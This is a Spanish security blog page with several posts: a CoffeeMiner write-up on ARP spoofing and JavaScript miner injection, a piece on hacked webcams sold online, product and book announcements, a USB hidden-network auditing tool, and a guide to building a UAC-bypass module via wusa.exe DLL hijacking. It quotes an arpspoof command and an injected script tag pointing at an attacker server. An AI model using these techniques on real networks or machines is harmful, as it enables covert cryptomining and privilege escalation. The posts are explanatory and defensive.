martes, enero 16, 2018

CoffeeMiner: Te tomas tu café, te conectas a la WiFi y minan BitCoins con tu CPU

Las criptodivisas están de moda, eso es algo indudable, y si no que se lo digan a mis compañeros de ElevenPaths Felix y Yaiza que llevan años estudiando el blockchain y las criptodivisas, tal y como se puede ver en su charla de Rooted de 2015 y en su libro BlockChain & BitCoins: La tecnología y su investigación. Este boom que tenemos en nuestros días con las criptodivisas, la minería y la especulación es un cartel luminoso para muchos ciberdelincuentes. En este artículo no se pretende valorar la seguridad del Blockchain, las criptodivisas o los mecanismos de protección que tienen en su mano los usuarios que manejan su capital.

Figura 1: CoffeeMiner: Te tomas tu café, te conectas a la WiFi y minan BitCoins con tu CPU

Lo curioso es ver cómo se automatizan ciertos ataques que ayudan, en este caso, a la minería. La herramienta CoffeeMiner, la cual se puede estudiar en su Github, pretende ser una prueba de concepto, con propósito académico según indica su propio autor, de lo que pueden llegar a hacernos a cualquiera de nosotros mientras nos tomamos un café en nuestro bar favorito y aprovechamos ese placer para leer las noticias en nuestro dispositivo digital.


Figura 2: How I meet your e-wallet

CoffeeMiner es una prueba de concepto que permite realizar un ataque de Man in the Middle y seleccionar diferentes targets que serán envenenados. A partir de aquí, el tráfico de las víctimas pasará por el atacante y éste podrá inyectar un código JavaScript en cualquier documento HTML que la víctima solicite, ya que esta petición pasará por el atacante. Este JavaScript contiene un minero en su código, por lo que todos los dispositivos conectados a la red podrían ser víctimas y estar minando sin ser conscientes de ello.

Figura 3: CoffeeMiner en GitHub

El esquema de cómo funciona CoffeeMiner es sencillo. Un atacante que tome un café en una cafetería y haya diversos clientes conectados a la red WiFi de dicha cafetería podría aprovecharse y obtener un beneficio logrando que los clientes minen para él. Este ataque es extensible a redes cableadas, ya que el secreto de todo esto está en que el tráfico pase por una máquina concreta, la del atacante.

Si el atacante está en una red cableada, podría aprovecharse de técnicas como el ARP Spoofing o cualquier otro de los Ataques de redes IPv4 o IPv6 y, posteriormente, utilizar la inyección de JavaScript. Es más, si el atacante pusiera su propio Rogue AP, no haría falta envenenar ninguna caché, ya que podría, directamente, inyectar el código JavaScript porque él es el Gateway.

Figura 4: Esquema de ataque con CoffeeMiner

En otras ocasiones hemos visto como herramientas como Bettercap o MITMf permiten realizar acciones similares de forma sencilla, orientado a la auditoría de seguridad. CoffeeMiner también puede entenderse como una herramienta de auditoría, aunque es una prueba de concepto con propósito académico.

El código de CoffeeMiner

En el sitio web del autor de CoffeeMiner se explica el código de la aplicación/automatización basada en mitmproxy. Para realizar el ataque MITM se utiliza la vieja herramienta arpspoof, con su famosa sintaxis arpspoof –i [interfaz de red] –t [target 1] [target 2] y la instrucción contraria para hacer el envenenamiento en ambas direcciones.

Posteriormente, se utiliza mitmproxy para analizar el tráfico que circula a través de un equipo, pudiendo editar el tráfico. Esto se utilizará para inyectar el JavaScript, el cual está preparado o contiene para que la víctima, a través de su navegador, mine. La línea que se inyectará tendrá el siguiente aspecto:
<script src="http://httpserverIP:8000/script.js"></script>.
El código queda de la siguiente manera, teniendo en cuenta que se utiliza la librería que integra mitmproxy:

Figura 5: Código de CoffeeMiner

Como la parte de “Injector” añade una línea al HTML legítimo con el que se consigue llamar al JavaScript malicioso, el atacante tendrá que contar con un servidor web dónde se alojará el fichero JavaScript malicioso. CoffeeMiner proporciona un sencillo código para automatizar esto, aunque con un servidor Apache sería algo trivial.

Figura 6: Código de servidor web para servir el fichero JavaScript de minado

Por último, la parte de CoinHive. Éste es un proyecto cuyo eslogan es aprovechar la computación de tu negocio para sacarle un provecho. Esto puede tener un buen fin, pero también puede haber usuarios maliciosos que quieran aprovecharse de esto. A continuación, os dejamos un video de ejemplo realizado por el autor de la herramienta:


Figura 7: Demo de CoffeeMiner


Sin duda es un proyecto que hace una crítica a la facilidad y el riesgo que tenemos los usuarios que accedemos a redes no seguras o redes con usuarios “de paso”. Por esta razón, debemos estar atentos a qué redes accedemos y en qué sitios confiamos. En este caso, no se apoderarán de datos sensibles nuestros, pero sí que utilizarán nuestra CPU para que puedan ganar unos dólares. Una buena solución sería utilizar una VPN desde la propia red WiFi dónde nos conectemos, para que estemos ante una red aislada. También se podría utilizar plugins como NoScript para evitar la ejecución de código JavaScript. Otra opción sería utilizar una red virtual dentro de la WiFi y poder evitar que hagan uso de nuestra CPU.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root", “Pentesting con Powershell” y Hacking Windows, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

lunes, enero 15, 2018

Te graban desnudo con tu webcam y te venden en Internet por 5 dólares

Resulta que hace unas semanas salió un reportaje periodístico acerca de alguna persona que vende un software que “hackea” cámaras, es decir, una aplicación que escanea la red buscando cámaras - que a veces están escondidas por puertos no habituales - y utiliza vulnerabilidades conocidas, password por defecto y password guessing -. Por supuesto, no solo venden la app, ya que como estamos en la economía de vender servicios pues también venden de forma puntual el acceso a determinadas cámaras comprometidas y vídeos sueltos. Por supuesto, ya han existido servicios que daban esto mismo de forma gratuita, pero se supone que estas son nuevas o "frescas".

Figura 1: Te graban desnudo con tu webcam y te venden en Internet por 5 dólares

Estas cámaras tenían diferentes precios por ejemplo, una cámara frente a una cama tenía un valor de 5 dólares, una cámara en una habitación para parejas de hotel por 10 dólares y el software para “hackear” las cámaras por menos de 30 dólares entre otros.  A raíz de esta noticia me puse a investigar en algunas páginas de videos XXX a ver si existían este tipo de videos enfocados en el país en donde vivo y me encontré con el siguiente panorama.

Figura 2: Servicios ofrecidos. Siento el idioma

Al ver esto, mi primera reacción fue ¿Será verdad que los videos han sido obtenidos por cámaras inseguras o hackeadas?, así que mire algunos de los videos y algunos parecían cámaras de pago, pero en muchos otros aparecían personas en su vida cotidiana, enfrente del computador o quien sabe de que dispositivo haciendo diferentes cosas, entre las más curiosas fue una joven haciendo sus deberes (asumo que de la universidad por la edad que aparentaba y por el ambiente que se veía).

Figura 3: Cámaras hackeadas a la venta

Luego quise investigar un poco para ver la veracidad de las cámaras hackeadas, así que primero miré quien fue el usuario que subió los videos y este decía que eran auténticos, que intercambiaba mas videos por otros del mismo estilo y decía que de verdad eran hackeados, pero no daba más información.

Figura 4: Preguntado por si los vídeos eran hackeados de verdad.
Podría ser un bot el que respondía.

Lo siguiente que hice fue analizar por metadatos algunos de estos videos, y resulta que la pagina de videos hace bien su trabajo y borra los metadatos de los videos así que quedé igual. Lo siguiente que pensé fue hacer algún tipo de ataque contra el usuario, pero las consecuencias legales serian grandes, así que mejor dejé ahí.

Figura 5: No parece que tenga muchos metadatos

Analizando un poco mas detenidamente las cosas y con los niveles de paranoia que manejo, creería que los videos son legítimos, todos sabemos que las cámaras tienen grandes problemas de seguridad (passwords por defecto, passwords fáciles, vulnerabilidades de seguridad sin parchear o que no se pueden parchear) además sabemos que es bastante fácil meter un bichito dentro de cualquier computador para ver por una cámara, y ya vimos hace años que existían foros para publicar las fotos de las víctimas -> Ponte sexy para salir en vídeo o tapa la webcam

Figura 6: Foros para publicar fotos capturadas con RATs (Remote Administration Tools)

Yo sé que la investigación no me llevo a nada concluyente, pero si me llevo a volver a reflexionar sobre la cantidad de cámaras de muchas de personas que, por desconocimiento, aún no tienen una tapa física de seguridad, como el Latch para la Webcam del que se habla por aquí, el iPatch.

Figura 7: un iPatch tapando la Webcam

Al final, desde que salió el CreepWare, especialmente dedicado en grabar a la gente en sus casas para después publicar el contenido en foros como el de la Figura 6, vender la grabación a cualquiera que pueda pagar 5 $ o hacer una sextorsión en toda regla.

Figura 8: Fotos de los clientes tomadas por la GM01 subidas sin protección en Internet

Hay que tener presente que la seguridad de muchas cámaras es a veces muy mala, como la famosa GM01 que tenía todas las grabaciones en Internet desprotegidas, dejando a las personas desnudas en su intimidad. Pero es que además, los que creen que el LED es más que suficiente, la verdad es que ya hemos visto en muchos casos que se puede saltar.

Figura 9: Mark Zuckerberg con su webcam tapada

Lo importante es que se tenga presente que, una cámara es un lugar por el que otro te puede ver, así que si tienes una cámara apuntando directamente a tu intimidad, asegúrate de que está protegida (algo que no siempre es fácil), y si no, haz como los expertos en seguridad que la tapan desde hace años.

Autor: Michael Touar (Mfernandezt2@hotmail.com)

domingo, enero 14, 2018

Esperando la llegada de AURA

Como sabéis, en muy poco tiempo AURA estará en producción en los servidores y disponible a través de los primeros canales de los primeros países en los que Telefónica tiene presencia. No, no estoy desvelando nada que no hubiéramos dicho ya desde el pasado MWC. En el periodo de doce meses, y utilizando la el diseño de la 4ª Plataforma por detrás empezará a cobrar vida nuestro pequeño bebé.

Figura 1: Esperando la llegada de AURA

Ya estuvimos haciendo mucha pruebas con clientes, pero en nuestro evento justo antes del Mobile World Congress comenzará a estar disponible para aquellos que quieran empezar a usar los primeros casos de uso. Será un bebé que irá creciendo poco a poco y que, cada día permitirá a los usuarios hacer más cosas con sus servicios de Telefónica. Muy lejos ya del Codename "YOT" (You On Telefónica) con el que lo bauticé inicialmente.

A post shared by Chema Alonso (@chemaalonso) on

Para preparar su llegada, desde esta semana hemos puesto en producción la Web de AURA, con una versión en inglés y español. Es solo una landing page - de momento - donde iremos subiendo día a día más información sobre lo que se puede hacer con AURA. Pero será después de que se lancen los canales para "hablar con AURA" en nuestro evento justo antes del próximo Mobile World Congress.

Figura 4: AURA gestionando los servicios de Movistar+

Figura 5: AURA grabando tus programas favoritos

Figura 6: Información general de tus datos

En cada país AURA tendrá una forma y un aspecto con matices, pero con el mismo corazón, ya que Telefónica es diferente en cada territorio, así que tendrá su personalización local, que irá creciendo sobre los servicios de nuestra compañía poco a poco.

Figura 7: WiFi y actividad

Y si tienes interés en conocer más información sobre el próximo lanzamiento, sobre las nuevas características que se vayan añadiendo, etcétera, hemos abierto en la Web de AURA una zona de contacto por si quieres recibir las noticias sobre nuestro bebé.

Saludos Malignos!

sábado, enero 13, 2018

Cupón descuento en @0xWord desde hoy hasta el miércoles

Mis compañeros de 0xWord han preparado para todo el material que adquieras en la tienda online de 0xWord un cupón de rebajas que durará cinco días, es decir, desde hoy mismo sábado 13 de Enero hasta el miércoles 17 de Enero, ambos días incluidos.

Figura 1: Cupón descuento en @0xWord desde hoy hasta el miércoles

Para ello, deberás introducir el cupón REBAJAS2018 a la hora de formalizar la compra, y recibirás un 10% de rebaja en el precio de todos los artículos, por lo que es una buena ocasión para hacerte con el material que te falte de la colección. Incluidos los packs, y los últimos títulos.

***** Packs Oferta *****
- Pack Colección Completa
- Pack Security Lover
- Pack Linux Security
- Pack Pentester 1
- Pack Pentester 2
- Pack Pentester 3
- Pack Pentester 4
- Pack Pentester 5
- Pack Mobile Security
- Pack Windows Security
- Pack CSO
******* VBooks******************
- ¿Qué son los VBooks?
- VBook 2: Ataques IPv4 & IPv6
- VBook 1: Windows Server 2016
********* Libros ******************
- Libro 52: Técnicas de Análisis Forense para Peritos Judiciales [Novedad]
- Libro 51: Hacking Windows: Ataques a sistemas y redes Microsoft [Novedad]
- Libro 50: Hacking Web Technologies: Client-Side Attacks
- Libro 49: 0xWord Pocket: A hack for the destiny
- Libro 48: Hacking con DRONES
- Libro 47: Crime Investigation: Historias de investigación forense
- Libro 46: macOS Hacking
- Libro 45: Bitcoin & Blockchain: Tecología e investigación
- Libro 44: Windows Server 2016: Administración, Seguridad y Operación
- Libro 43: Sistemas de control industrial e infraestructuras críticas
- Libro 42: Máxima Seguridad WordPress
- Libro 41: 0xWord Pocket: Got Root
- Libro 40: Hacking Web Technolgies
- Libro 39: Sinfonier: Generación de Cyberinteligencia
- Libro 38: Malware en Android
- Libro 37: Deep Web: Anonimato y Privacidad en TOR, I2P y FreeNet
- Libro 36: 0xWord Pocket: Cluster
- Libro 35: Pentesting con PowerShell
- Libro 34: Cómic Hacker Épico Deluxe Edition
- Libro 33: Hacking con Python
- Libro 32: Python para Pentesters
- Libro 31: Epic Hacker [English PDF]
- Libro 30: Ethical Hacking
- Libro 29: Esteganografía & Estegoanálisis
- Libro 28: Pentesting con FOCA [AGOTADO]
- Libro 27: Linux Exploiting
- Libro 26: Hacking iOS: iPhone & iPad  2ª Ed
- Libro 25: Pentesting con Kali Linux
- Libro 24: Hardening de sistemas GNU/Linux
- Libro 23: Criptografía en sistemas digitales: RSA
- Libro 22: Desarrollo Android [AGOTADO]
- Libro 21: Wardog y el Mundo
- Libro 20: Hacking y Segueridad  VoIP 2ª ED
- Libro 19: Microhistorias: Anécodtas de la historia de la informática
- Libro 18: Hacker Épico
- Libro 17: Metasploit para pentesters [4ª ED]
- Libro 16: Windows Server 2012 [AGOTADO]
- Libro 15: PowerShell SysAdmin [AGOTADO]
- Libro 14: Desarrollo Apps iPad & iPhone: Essentials
- Libro 13: Ataques en redes IPv4/IPv6 3ª Ed
- Libro 12: Hacking de Aplicaciones Web: SQL Injection 3ª Ed
- Libro 11: Aplicación Esquema Nacional de Seguridad con Microsoft
- Libro 10: Hacking comunicaciones móviles GSM/2G/3G/4G 2ª Ed
- Libro 9: Máxima Seguridad en Windows 4ª ed [NEW]
- Libro 8: Fraude Online [AGOTADO]
- Libro 7: Hacking con Buscadores: Google, Bing y Shodan 3ª Ed
- Libro 6: Una al Día
- Libro 5: DNI-e: Tecnología y usos [*]
- Libro 4: MS SharePoint 2010: Seguridad [*]
- Libro 3: MS Forefront TMG 2010 [*]
- Libro 2: Aplicación de LOPD [AGOTADO]
- Libro 1: Forense Windows [AGOTADO]
Leyenda:
[*]-> Pocas Unidades
Saludos Malignos!

viernes, enero 12, 2018

Hidden Networks: Una herramienta de @elevenpaths para la detección y análisis de Redes Ocultas en tu empresa

Llevamos algún tiempo trabajando con la detección de Redes Ocultas o Hidden Networks (Chema Alonso ya habló por primera vez de ellas en 2014 en este artículo) ya que nos parece un tema muy interesante que nos permite entender hasta qué punto es posible interconectar diferentes segmentos de red o incluso redes distantes totalmente aisladas sin estar conectadas físicamente entre ellas (incluso pertenecientes a diferentes empresas, organismos o plataformas), utilizando simplemente un dispositivo USB (pendrive).

Figura 1:  Hidden Networks, una tool para la detección y análisis de Redes Ocultas en tu empresa

Hace unos meses publicamos unos scripts en PowerShell capaces de conectar con los diferentes equipos de la red para comprobar los pendrives que habían sido conectados en algún momento en esos ordenadores y crear una lista desde la cual analizar su trazabilidad. Partiendo de esta lista, es posible dibujar un grafo el cual muestra una Hidden Network basándose en dicha información recopilada.

Figura 2: PoC de Hidden Networks publicada en la web de ElevenPaths

Ahora hemos dado un paso más y hemos desarrollado una PoC en Python donde unificamos las opciones más interesantes que ya aplicamos en su día en los scripts pero además hemos añadido nuevas funcionalidades como, por ejemplo, dibujar directamente desde la aplicación (que llamamos también HN) el grafo resultante del análisis. De esta forma tenemos una única PoC capaz de analizar, recopilar e incluso dibujar la red resultante.

Figura 3: Ejemplo de ejecución de HN dibujando la red oculta resultante

Vamos a detallar una a una sus características principales y explicar cómo funcionan internamente:

Project

Para facilitar los análisis y tener toda la información obtenida debidamente organizada, hemos implementado la opción de crear proyectos individualizados donde iremos almacenando los resultados de los análisis que vayamos realizando en diferentes carpetas en nuestro equipo. Por lo tanto, el primer paso antes de empezar será abrir o crear un proyecto (excepto si queremos dibujar solamente un grafo a partir de CSV, lo veremos más adelante). Si elegimos la opción de crear un proyecto, HN nos indicará dónde queremos guardar la información del mismo y le asignaremos un nombre de fichero (Project file). Una vez creado o abierto se mostrará la ruta completa a dichos ficheros.

Figura 4: Opciones del proyecto

Cada proyecto tiene un nombre personalizado para describirlo que podemos introducir en el campo Project name. También se creará una carpeta con el mismo nombre de fichero que hayamos asignado en Project File donde se almacenarán los ficheros CSV y JSON. Los proyectos constan básicamente de tres ficheros, uno con la información del proyecto en sí que será un fichero de texto con la extensión .hn y otros dos, uno CSV y otro JSON (localizados dentro la carpeta con el mismo nombre) donde se almacenará toda la información recopilada. El fichero JSON se genera a partir del fichero CSV utilizando la librería Python json y el comando dump: json.dump(filas, ficheroCSV).

Las filas se han obtenido generando una lista a partir del fichero CSV. Siempre que nos refiramos en el artículo a un cambio en el fichero CSV, este se replicará de forma automática el fichero JSON. Los datos almacenados en el fichero CSV y JSON, cada uno en sus respectivos formatos, son los siguientes: computer_name, computer_ip, usbdevice_name y usbdevice_id. Un posible ejemplo de una recopilación de datos en un fichero CSV podría ser la siguiente:

Figura 5: Ejemplo real de un fichero CSV

Los valores usbdevice_name y usbdevice_id se obtienen desde el Registro de Windows, en cambio computer_name y computer_ip son peticiones al sistema:
• computer_name: nombre del ordenador analizado. Se obtiene utilizando la librería socket de Python (luego lo veremos en detalle). 
• computer_ip: dirección IP del ordenador auditado. Se obtiene también con la librería socket. 
• usbdevice_name: valor de la key “Friendlyname” o nombre “amigable” del dispositivo USB. Se obtiene accediendo, en función de si conectamos en local o en red con el equipo, analizando la rama del registro:
HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR 
• usbdevice_id: key “ContainerID”, id único del dispositivo. Se obtiene de la misma manera que usbdevice_name.
Local computer options

Esta funcionalidad permite recopilar la información local de los dispositivos USB conectados, es decir, de la máquina desde la cual se está ejecutando HN. Esta opción es útil para ir recopilando la información de los equipos a los cuales no tengamos forma de auditar de forma remota o simplemente queramos ir equipo por equipo de forma manual. Cada vez que pulsamos el botón "Get Local registry info", la información que hemos detallado en el apartado Project será recuperada. En principio sólo se mostrará por pantalla, para almacenarla en el proyecto hay que marcar la opción "Save output to CSV file".

Figura 6: Opciones para recuperar la información de posibles pendrives en el equipo local

Para obtener el valor computer_name se utiliza la librería socket de Python con el comando socket.gethostname() y para obtener el valor computer_IP se utiliza la función socket.gethostbyname(computername), la cual tiene como parámetro el nombre de equipo que ya hemos comentado que se puede recuperar con el comando socket.gethostname().

Para recuperar la información de los dispositivos USB se accede directamente al Registro de Windows. HN sólo recupera los datos usbdevice_name y usbdevice_id, pero una vez se accede a la rama del registro correspondiente, es posible recuperar más información si fuera necesario. En principio esta es suficiente para poder dibujar el grafo y definir una red oculta.

El primer paso es almacenar en una lista los dispositivos detectados en la siguiente rama del registro del equipo auditado:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
Esto se hace utilizando las funciones readSubKeys y readValues. La primera, readSubKeys devuelve una lista con las sub-ramas de una rama específica y readValues devuleee una lista tipo diccionario con el par nombre de la key y su valor correspondiente. Para poder construir la rama completa que contiene toda la información referente al dispositivo USB se utilizan varios bucles que van montando la ruta completa a partir de los datos obtenidos desde la lista que contiene las sub-ramas y los datos del diccionario.

Los dos valores principales que definen la información almacenada de un dispositivo USB y que tenemos que añadir a la rama del registro principal que hemos mencionado son, en primero lugar la cadena de texto que se construye con diferentes datos como el VendorID o el ProductID y luego el número de serie:
• Vendor,ID+ProductID+Revisión: cadena de texto que incluye los datos del fabricante, el ID del producto y la versión. Por ejemplo, esta sería una rama real utilizada en la PoC: 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR\Disk&Ven_&Prod_USB_DISK_2.0&Rev_PMAP\
• Serial No: número de serie del dispositivo. 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR\Disk&Ven_&Prod_USB_DISK_2.0&Rev_PMAP\560057DFAE277552&0
Una vez hemos obtenido la ruta completa de la rama, ya es posible acceder a los datos que buscamos del dispositivo USB. Por ejemplo, esta sería la ruta completa del registro donde reside el valor de la key llamada “Friendlyname” (usbdevice_name):

Figura 7: Ejemplo de la rama del Registro de Windows que almacena la información

Networking options (WMI)

Si somos administradores de un dominio, es posible utilizar la opción de auditar todos los equipos que queramos y que sean accesibles desde el servidor desde el cual estemos ejecutando la aplicación. HN utiliza WMI (Windows Management Instrumentation), para acceder a los equipos de la red, utilizando la librería Python con ese mismo nombre.

Figura 8: Opciones para recuperar la información de pendrives de equipos remotos

Esta función de red necesita en primer lugar, un fichero de texto en el cual aparezcan las direcciones IP o los FQDN de cada equipo (pueden utilizarse ambas indistintamente). Por ejemplo, este sería el contenido de un fichero con el listado de equipos llamado "servers_examples.txt":

Figura 9: Ejemplo de fichero con el listado de equipos a auditar

En segundo lugar, será necesario introducir el nombre de usuario administrador del dominio, así como su contraseña en la sección Domain credentials. Finalmente, al pulsar el botón Retrieve remote info comenzará la recolección de información de los equipos listados en el fichero de ordenadores uno por uno. Todo el proceso se irá mostrando paso a paso en la ventana Output. En el siguiente vídeo se muestra el proceso de recolección de varios equipos en un dominio en dos redes distintas (diferentes subnets) pero accesibles desde el ordenador desde el cual se ejecuta la aplicación:

Figura 10: Vídeo de ejemplo de Hidden Networks

La técnica de recopilación remota de información difiere respecto a la forma de recopilarlos a nivel local. El paso principal será crear una conexión con el equipo pasando como parámetros la dirección IP (o FQDN), el nombre del usuario administrador y su contraseña de la siguiente manera:

Figura 11: Llamada WMI desde Python para conectar con un equipo remoto

El objeto devuelto nos permitirá recuperar información del equipo remoto. En nuestro caso utilizamos la siguiente función para obtener los valores de las sub-ramas que cuelgan de la ruta principal:

Figura 12: Acceso a las subramas de la rama principal que contiene los datos del USB

Basándonos en el número de elementos devueltos (número de elementos en la lista “names” utilizando una función len) creamos un bucle que va recorriendo todas las ramas cuyo nombre hemos obtenido desde la lista “names”. Por ejemplo, dentro del bucle (variable i, la cual referencia a cada uno de los elementos de “name”) vamos recorriendo las diferentes ramas (basándonos en el número de elementos que hemos detectado numdevices), las cuales pertenecen cada una a un dispositivo USB, de la siguiente manera:

Figura 13: Acceso a la rama final que corresponde con los datos específicos de un USB en concreto

Una vez recuperado el valor del nombre de la rama en remotereg1 (hay que hacer algunas operaciones adicionales para extraer el valor exacto del nombre de la rama, se pueden observar en el código fuente publicado), almacenamos dicho valor en la variable llamada finalbranch. Para obtener los valores “Friendlyname” y “ContainerID” utilizamos el siguiente código:

Figura 14: Parte del código encargada de recuperar los valores de "Friendlyname" y "ContainerID"

Esta información se almacena en los ficheros CSV y JSON. Esta operación se podría optimizar utilizando diferentes hilos de proceso, intentaremos implementarlo en una nueva versión de esta PoC.

Plot options

Esta funcionalidad permite visualizar mediante un grafo no dirigido, la red oculta indicando sus nodos e interconexiones. El botón Plot Project dibujará directamente la información recopilada en el proyecto que tengamos abierto. El botón Plot single CSV permite importar un fichero con formato CSV, el cual cumpla con el formato de HD, y luego dibujar la red oculta. También se crea por defecto una copia de dicho fichero CSV en formato JSON en la misma ubicación.

Figura 15: Opciones para dibujar Hidden Networks usando un grafo

Estos son algunos ejemplos reales de redes dibujadas por HN después obtener la información sobre los USB que hayan sido instalados en de cada equipo. Cada ventana corresponde a un dispositivo USB y se observa perfectamente la trazabilidad mostrando cada nodo (el cual corresponderá con un equipo en la red) con el nombre de máquina y la dirección IP correspondiente. Los arcos son los conectores que indicarán la ruta o conexión establecida entre dichos nodos creada por el USB:

Figura 16: Ejemplos reales de grafos obtenidos de dispositivos USB remotos y locales

Para dibujar los grafos hemos utilizado la librería de Python llamada pyplot. En este caso los datos utilizados para dibujar son los obtenidos directamente del fichero JSON. La ope comparando uno a uno los ID de los USB con el resto de elementos recopilados. Si el ID del USB que se está analizando coincide con el ID localizado en otra máquina, entonces se crean los dos nodos, el origen y el destino además de dibujar arco el cual indica una conexión entre ellos. Para crear los nodos y el arco se utiliza la función:

Figura 17: Porción de código que dibuja los arcos de los grafos

Donde nuevonodo es el nodo origen donde se detectó por primera vez el USB que se está analizando y nuevonodo2 es el nodo donde ha aparecido una coincidencia de ID, indicando que también ha pasado por ese equipo/nodo. Finalmente dibuja el arco de unión.

Figura 18: Código utilizado para configurar los parámetros generales del grafo

HN es una prueba de concepto, por lo tanto, el código fuente (escrito en Pyhton 3.3) es mejorable, ya que nuestra prioridad ha sido poder plasmar todas las ideas en una sola aplicación práctica de la manera más rápida posible y así poder demostrar el potencial de esta idea. De todas formas, estamos trabajando en la depuración y mejora del código además de añadir nuevas funcionalidades como hilos para la conexión con los equipos remotos, grafos con arcos dirigidos, inclusión de fechas y alguna que otra sorpresa que ya contaremos. Por lo tanto, atento porque esta no será la última vez que hablemos de las Hidden Networks ni de la PoC HN ;)
- Puedes descargar el paper que ya publicamos sobre el concepto de Hidden Network desde el siguiente enlace: Hidden Networks WhitePaper 
- Y el código fuente desde el GitHub de ElevenPaths: Hidden Networks en GitHub 
- Puedes poner cualquier comentario o realizar cualquier pregunta (sobre este o cualquier otro proyecto) en la Comunidad de Eleven Paths:
Autor: Fran Ramírez (@cyberhadesblog) escritor de libro "Microhistorias: anécdotas y curiosidades de la historia de la informática" e investigador en ElevenPaths

jueves, enero 11, 2018

Cómo construir un módulo para uac-a-mola framework

Ya hemos hablado con anterioridad sobre "uac-a-mola framework" para explicaros que es un entorno que permite investigar, detectar, explotar y mitigar bypasses de UAC. Hoy quería mostraros cómo de fácil es construir un módulo para uac-a-mola, y como veréis es realmente sencillo. Antes de empezar, quería hablar de la experiencia Black Hat Europe de 2017, en la Arsenal, que vivimos con la herramienta y las buenas sensaciones que nos dejaron.

Figura 1: Cómo construir un módulo para uac-a-mola framework

Fue emocionante ver presentando sus herramientas, y sus versiones, a la gente de Dradis Framework, ModSecurity 3.0.0, Reflector extensión de Burp Suite, DET y su Data Exfiltation Toolkit, Tinfoleak, Exploit Pack, OWASP ZAP, Datasploit, XSSER o Patrick Wardle con su Objective-See’s Mac Security Tools, entre otros muchos. Fue para mi compañero Santiago y yo, un verdadero honor compartir sitio con tanta herramienta mítica y con tanto investigador. Allí estábamos nosotros, sin dejar en el olvido a nuestro compañero Álvaro Nuñez-Romero y el DirtyPi.

Figura 2: uac-a-mola en el GitHub de ElevenPaths

Hoy, empiezo el año hablando mostrando cómo de fácil es construir un módulo para uac-a-mola, ya que es una de las cosas que más llamaron la atención. Esto, junto a la posibilidad real que ofrece uac-a-mola de mitigar un bypass y las diferentes herramientas que se tienen a mano para poder investigar nuevos bypasses.

Template: Construye tu propio módulo

Para crear un módulo, ya sea orientado a la investigación, a la detección y explotación o a la mitigación se puede partir de una plantilla que tiene el siguiente aspecto:
• Una sección orientada a la importación de módulos. Se utilizará from module import Module, al menos. Todo lo que sea necesario importar irá en la parte superior. Nosotros también hemos utilizado diferentes comentarios en la parte superior del módulo, para que cualquiera de un simple vistazo puede conocer sobre el módulo. 
• La clase comienza en “class CustomModule(Module):”. La clase tendrá un constructor y un método run_module. Hay que decir que luego cada uno puede implementar más métodos complementarios, pero al menos tendremos el constructor y el método run_module. El método run_module será invocado cuando el usuario ejecuta el comando “run” desde la consola de uac-a-mola.

• Dentro del módulo podremos hacer uso de un diccionario dónde se almacenan las opciones que el usuario ha ido configurando en el módulo. En este caso, a través de “self.args”.

• En el constructor se inicializa el módulo y se rellenan dos estructuras: information y options. La primera es simplemente administrativa, rellenando información que será mostrado cuando se ejecute el comando “show” en uac-a-mola. Es decir, meteremos información como el autor, el nombre del módulo o la descripción. La segunda es una estructura ya que iremos añadiendo los diferentes atributos u opciones de los que constará el módulo, es decir, las opciones que definirán el propio módulo.
Figura 3:  Plantilla de un módulo de uac-a-mola

Antes de continuar, os dejo una imagen sobre el código del constructor, el cual será muy similar en cualquier módulo que vosotros os animéis a realizar.

Figura 4: Constructor del módulo 

Como se puede ver, la estructura information es un diccionario sencillo. Por otro lado, la estructura options es un diccionario, el cual tiene una explicación un poco más extensa. La key es el nombre del atributo como se puede ver, por ejemplo, en el caso de binary en la imagen anterior. La palabra binary es una opción que será configurable por el usuario a través del comando “set binary”. El valor de la clave es una lista con tres elementos:
• El primer elemento de la lista indica el valor por defecto del atributo. 
• El segundo elemento de la lista indica la descripción del atributo. 
• El tercer elemento de la lista indica si el atributo es obligatorio o no.
Ahora hablaré sobre el método run_module, el cual implementa las acciones que queremos que haga el módulo. En este caso, vamos a ejemplificar con un módulo de tipo de explotación o de bypass de UAC. Si estuviéramos en el caso de la mitigación las acciones serían desde el punto de vista de la fortificación, lógicamente.

Una de las acciones que deberemos llevar a cabo al comenzar la implementación, y que es muy recomendable, es el uso de variables locales para las opciones introducidas por el usuario. Por ello, utilizaremos el diccionario de opciones a través de self.args, como se puede ver en la imagen.

Figura 5: Declaración de variables locales con self.args

En el código anterior, también se puede ver cómo, mediante el uso de self, estamos invocando otros métodos que son del módulo que estamos creando.

Figura 6: Métodos creados en el módulo

Como he dicho anteriormente, se pueden crear otros métodos para hacer más limpio el código del módulo y simplificar su lectura por parte de otros usuarios.

¿Qué hace el módulo?

El módulo que hemos ido mostrando tiene una finalidad y es utilizar un DLL Hijacking a través de la aplicación wusa.exe para conseguir el bypass de UAC, por ejemplo, el de WinSxS, aunque sería extensible, de forma sencilla, a otros bypasses de UAC basados en DLL Hijacking. El módulo, en primera instancia, recoge los valores configurados por el usuario para, posteriormente, comenzar con el algoritmo para este bypass:
1. Crea una estructura de carpetas que contienen la DLL maliciosa. Esta estructura será la que se almacene en c:\windows\system32. Por ejemplo, se puede utilizar con el binario compmgmtlauncher.exe, por lo que la estructura de carpetas quedaría algo similar a compmgmtlauncher.exe.Local\x86_microsoft.windows.common-controls_[ID…]\[nombre de la DLL].

2. El segundo paso ya tiene que ver con la creación del fichero CAB. Este fichero es necesario, como se explica en el artículo dedicado a ello, porque la aplicación wusa.exe extrae la información y la copia en rutas protegidas desde ficheros CAB. Se crea el fichero DDF para generar el fichero CAB, con la información necesaria dentro del fichero DDF.
 
3. Se utiliza el método make_cab para generar el fichero CAB.

4. Se utiliza el método run_wusa para ejecutar a wusa.exe y llevar a cabo la extracción de las carpetas contenidas en el fichero CAB y alojarlas en \Windows\System32. 5. Se eliminan los ficheros temporales utilizados para llevar a cabo el bypass.
A continuación, os dejamos un video de ejemplo, para que podáis ver lo fácil del proceso con uac-a-mola y cómo hacerlo manualmente a través, por ejemplo, de un script de Powershell.


Figura 7: Vídeo ejemplo

También, queríamos dejaros el paper de uac-a-mola framework para que podáis entender mejor todo lo que tiene el framework y las posibilidades que éste ofrece.


